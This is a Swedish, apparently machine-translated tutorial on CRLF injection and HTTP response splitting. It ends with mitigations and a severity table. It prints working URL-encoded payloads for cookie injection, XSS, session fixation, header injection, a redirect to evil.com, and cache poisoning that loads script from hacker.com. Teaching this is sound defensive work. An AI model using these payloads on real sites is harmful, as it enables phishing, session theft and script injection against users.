CRLF är förkortningen som används för att hänvisa till vagnretur (\r) Linjematning (\n). Som man kanske märker från symbolerna i parenteserna hänvisar ” vagnretur ”till slutet av en rad och” Linjematning ” avser den nya linjen. Därför används både CR och LF För att beteckna slutpunkten för en linje. När en användare begär innehåll på en webbplats returnerar servern webbplatsinnehållet tillsammans med HTTP-rubrikerna. Rubrikerna och innehållet separeras av en definierad kombination av CR och LF. Det är på grund av CRLF att en server vet var en ny rubrik börjar eller slutar. En transport returledning Feed (CRLF) injektion sårbarhet är en typ av serversidan injektion som uppstår när en angripare infogar CRLF tecken i ett inmatningsfält för att lura servern genom att göra det tror att ett objekt har avslutats och en ny har börjat. Detta händer när webbapplikationen inte sanerar användarinmatning för CRLF-tecken. Den har en medelhög svårighetsgrad (P3 enligt Bugcrowds VRT).
CRLF injektion attack har två viktigaste användningsfall:
- Log delning: Angriparen infogar ett slut på radtecken och en extra rad för att förfalska loggfilposterna för att lura systemadministratörerna genom att dölja andra attacker.
- HTTP Response Splitting: CRLF-injektion används för att lägga till HTTP-rubriker i HTTP-svaret och till exempel utföra en XSS-attack som leder till informationsutlämnande.
exempel:
en enkel GET-förfrågan kan skapas enligt följande:
GET /%0d%0aSet-Cookie:CRLFInjection=PreritPathak HTTP/1.1
Obs: %0d och %0a är kodade former av \r respektive \n. Om webbapplikationen är sårbar kan en angripare ställa in en cookie på webbplatsen.
Impacts of CRLF injection
CRLF Injection tillåter angriparen att ställa in falska cookies, stjäla CSRF-tokens, avslöja användarinformation genom att injicera ett skript (XSS) och utföra en mängd andra attacker. Det gör det också möjligt för angripare att inaktivera&bypass säkerhetsåtgärder som XSS-filter & samma Ursprungspolicy (SOP), vilket gör dem mottagliga för följande attacker:
1. XSS eller Cross Site Scripting
XSS eller Cross Site Scripting är en säkerhetsproblem som gör det möjligt för en angripare att injicera skadlig JavaScript-kod i webbapplikationen. Följande GET-förfrågningar är utformade i en försökskedja CRLF-injektion med XSS.
genom att poppa en varning som innehåller känslig användarinformation
www.target.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
genom att inaktivera XSS-skydd
www.target.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
2. Cookie Injection
HTTP Response Splitting tillåter en angripare att ställa in skadliga cookies på offrets webbläsare. I de flesta fall kommer följande GET-begäran att resultera i en 307 omdirigering, och därmed kommer offret att omdirigeras till target.com & webbadressen innehåller inte parametern Set-Cookie. I bakgrunden kommer dock cookien att ställas in.
www.target.com/%0d%0aSet-Cookie:CRLFInjection=MaliciousCookieSet
3. Phishing-attacker
en angripare kan ställa in platshuvudet som skulle omdirigera offret till den onda webbplatsen. Denna webbplats kan utvecklas för att se ut precis som målwebbplatsen och när offret går in i sina referenser skickas de till angriparen. Platshuvudet kan ställas in som:
GET /%0d%0aLocation:%20https://evil.com HTTP/1.1
4. Sessionsfixering
i likhet med Cookieinjektionsattacken anger angriparen en användares sessions-id till ett visst värde. Den här länken skickas till offret och när offret loggar in med den här sessionen kan angriparen också logga in med samma sessions-id.
www.target.com/%0d%0aSet-Cookie:session_id=942....
5. HTTP Header Injection
en angripare kan utnyttja CRLF-injektionen för att injicera HTTP-rubriker i ett program för att besegra säkerhetsmekanismer som XSS-filter eller samma ursprungspolicy.
www.target.com/%0d%0aHackersHeader:NewHeader
CORS (Cross Origin Resource Sharing) aktiverande rubriker kan injiceras& angriparen kan använda JavaScript för att komma åt känsliga resurser som annars skyddas av SOP (samma Ursprungspolicy) som förhindrar webbplatser från olika ursprung att komma åt varandra.
6.
webbcacheförgiftning är en teknik på grund av vilken en angripare kan tjäna förgiftat innehåll genom att manipulera en webbcache. För att framgångsrikt utnyttja denna fråga skulle en angripare behöva förgifta den sårbara webbplatsens cachningsproxy, syndikatorer, innehållsleveransnätverk (CDN) eller andra cachningsmekanismer mellan klienten och servern. Efter en framgångsrik webbcacheförgiftning har offret ingen aning om det skadliga innehållet som serveras dem av cacheminnet. Nedan är ett exempel på hur en angripare potentiellt kan utnyttja en värdhuvudinjektion (med CRLF) genom att förgifta en webbcache.
För följande begäran:
$ telnet www.target.com 80Trying x.x.x.x...Connected to www.target.com.Escape character is '^]'.GET /%0d%0aX-Forwarded-Host:hacker.com HTTP/1.1 //or HostHost: target.com
det skulle finnas följande svar:
HTTP/1.1 200 OK
<
title
>Example</
title
>
<
script
src
=
"http://hacker.com/script.js"
>
Diverse användningsfall:
1. Injicera en falsk HTTP response header:
Content-Length: 10
nu kommer webbläsaren bara att analysera nästa 10 byte.
2. Injicera en falsk HTTP response header:
Content-Length: 0
detta behandlas som ett avslutat svar& webbläsarna börjar analysera ett nytt svar.
Mitigations:
en utvecklare bör ha följande saker i åtanke för att förhindra CRLF-injektion:
- sanering av användarinmatning.
- koda CR & LF-tecken (\r, \ n) så att även när de levereras känns de inte igen av servern.
- validera användarinmatningen innan de når svarshuvudena (t.ex. genom att använda metoder som StringEscapeUtils.escapeJava ()).
- en onödig rubrik bör inaktiveras.
följande tabell betonar svårighetsgraden av CRLF-injektion enligt olika branschstandarder:
Classification | ID / Severity |
---|---|
OWASP 2017 | A1 |
CWE | 93 |
CVSS:3.0 | CVSS:3.0: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H |
Bugcrowd VRT | P3 |